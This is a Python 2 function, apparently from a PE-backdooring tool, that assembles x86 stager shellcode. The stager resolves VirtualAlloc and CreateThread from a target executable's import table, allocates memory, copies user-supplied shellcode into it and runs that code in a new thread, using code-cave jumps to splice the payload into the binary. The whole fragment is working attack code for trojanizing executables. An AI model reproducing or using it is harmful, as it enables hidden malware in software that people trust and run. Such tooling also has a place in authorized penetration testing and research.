'Staged'

def iat_user_supplied_shellcode_threaded(self, flItms, CavesPicked={}):

    flItms['apis_needed'] = ['LoadLibraryA', 'GetProcAddress', 'VirtualAlloc', 'CreateThread']
    for api in flItms['apis_needed']:
        if (api not in flItms):
            return False
    flItms['stager'] = True
    if (flItms['supplied_shellcode'] is None):
        print '[!]    User    must    provide    shellcode    for    this    module    (-U)'
        return False
    else:
        self.supplied_shellcode = open(self.SUPPLIED_SHELLCODE, 'r+b').read()
    breakupvar = eat_code_caves(flItms, 0, 1)
    if (flItms['cave_jumping'] is True):
        self.shellcode2 = '\xe8'
        if (flItms['XP_MODE'] is True):
            xp_offset = 0
        else:
            xp_offset = 11
        if (breakupvar > 0):
            if (len(self.shellcode2) < breakupvar):
                self.shellcode2 += struct.pack('<I', int(str(hex(((((4294967295 - breakupvar) - len(self.shellcode2)) + 57) - xp_offset)).rstrip('L')), 16))
            else:
                self.shellcode2 += struct.pack('<I', int(str(hex(((((4294967295 - len(self.shellcode2)) - breakupvar) + 57) - xp_offset)).rstrip('L')), 16))
        else:
            self.shellcode2 += struct.pack('<I', int(str(hex(((((abs(breakupvar) + len(self.stackpreserve)) + len(self.shellcode2)) + 50) - xp_offset)).rstrip('L')), 16))
    else:
        self.shellcode2 = '\xe8\xe5\xff\xff\xff'
    if (flItms['NewCodeCave'] is False):
        if (CavesPicked != {}):
            self.shellcode2 += self.clean_caves_stub(flItms['CavesToFix'])
        else:
            self.shellcode2 += ('A' * 58)
    self.shellcode2 += self.supplied_shellcode
    breakupvar = eat_code_caves(flItms, 0, 1)
    self.shellcode1 = '\xfc'
    if (flItms['XP_MODE'] is True):
        self.shellcode1 += '\x89\xe51\xd2d\x8bR0\x8bR\x08'
    self.shellcode1 += '\xbb'
    if (flItms['XP_MODE'] is True):
        if ((flItms['VirtualAlloc'] - flItms['ImageBase']) < 0):
            self.shellcode1 += struct.pack('<I', (((4294967295 + flItms['VirtualAlloc']) - flItms['ImageBase']) + 1))
        else:
            self.shellcode1 += struct.pack('<I', (flItms['VirtualAlloc'] - flItms['ImageBase']))
        self.shellcode1 += '\x01\xd3'
        self.shellcode1 += '\xb9'
        if ((flItms['CreateThread'] - flItms['ImageBase']) < 0):
            self.shellcode1 += struct.pack('<I', ((4294967295 + (flItms['CreateThread'] - flItms['ImageBase'])) + 1))
        else:
            self.shellcode1 += struct.pack('<I', (flItms['CreateThread'] - flItms['ImageBase']))
    else:
        if ((flItms['VirtualAlloc'] - (flItms['AddressOfEntryPoint'] + flItms['ImageBase'])) < 0):
            self.shellcode1 += struct.pack('<I', (4294967295 + ((flItms['VirtualAlloc'] - (flItms['AddressOfEntryPoint'] + flItms['ImageBase'])) + 1)))
        else:
            self.shellcode1 += struct.pack('<I', (flItms['VirtualAlloc'] - (flItms['AddressOfEntryPoint'] + flItms['ImageBase'])))
        self.shellcode1 += '\x01\xd3'
        self.shellcode1 += '\xb9'
        if ((flItms['CreateThread'] - (flItms['AddressOfEntryPoint'] + flItms['ImageBase'])) < 0):
            self.shellcode1 += struct.pack('<I', (4294967295 + ((flItms['CreateThread'] - (flItms['AddressOfEntryPoint'] + flItms['ImageBase'])) + 1)))
        else:
            self.shellcode1 += struct.pack('<I', (flItms['CreateThread'] - (flItms['AddressOfEntryPoint'] + flItms['ImageBase'])))
    self.shellcode1 += '\x01\xd1'
    self.shellcode1 += '\x8b\xe9'
    self.shellcode1 += '\xbe'
    self.shellcode1 += struct.pack('<I', (len(self.shellcode2) - 5))
    self.shellcode1 += 'j@h\x00\x10\x00\x00Vj\x00'
    self.shellcode1 += '\xff\x13'
    self.shellcode1 += '\x89\xc3\x89\xc7\x89\xf1'
    if (flItms['cave_jumping'] is True):
        self.shellcode1 += '\xe9'
        if (breakupvar > 0):
            if (len(self.shellcode1) < breakupvar):
                self.shellcode1 += struct.pack('<I', int(str(hex((((breakupvar - len(self.stackpreserve)) - len(self.shellcode1)) - 4)).rstrip('L')), 16))
            else:
                self.shellcode1 += struct.pack('<I', int(str(hex((((len(self.shellcode1) - breakupvar) - len(self.stackpreserve)) - 4)).rstrip('L')), 16))
        else:
            self.shellcode1 += struct.pack('<I', ((((int('0xffffffff', 16) + breakupvar) - len(self.stackpreserve)) - len(self.shellcode1)) - 3))
    else:
        self.shellcode1 += '\xeb\x16'
    self.shellcode1 += '^'
    self.shellcode1 += '\xf2\xa41\xc0PPPSPP'
    self.shellcode1 += '>\xffU\x00'
    self.shellcode1 += 'Xa'
    breakupvar = eat_code_caves(flItms, 0, 2)
    if (flItms['cave_jumping'] is True):
        self.shellcode1 += '\xe9'
        if (breakupvar > 0):
            if (len(self.shellcode1) < breakupvar):
                self.shellcode1 += struct.pack('<I', int(str(hex((((breakupvar - len(self.stackpreserve)) - len(self.shellcode1)) - 4)).rstrip('L')), 16))
            else:
                self.shellcode1 += struct.pack('<I', int(str(hex((((len(self.shellcode1) - breakupvar) - len(self.stackpreserve)) - 4)).rstrip('L')), 16))
        else:
            self.shellcode1 += struct.pack('<I', int(str(hex(((((4294967295 + breakupvar) - len(self.stackpreserve)) - len(self.shellcode1)) - 3)).rstrip('L')), 16))
    else:
        self.shellcode1 += '\xe9'
        self.shellcode1 += struct.pack('<I', len(self.shellcode2))
    self.shellcode = ((self.stackpreserve + self.shellcode1) + self.shellcode2)
    return ((self.stackpreserve + self.shellcode1), self.shellcode2)
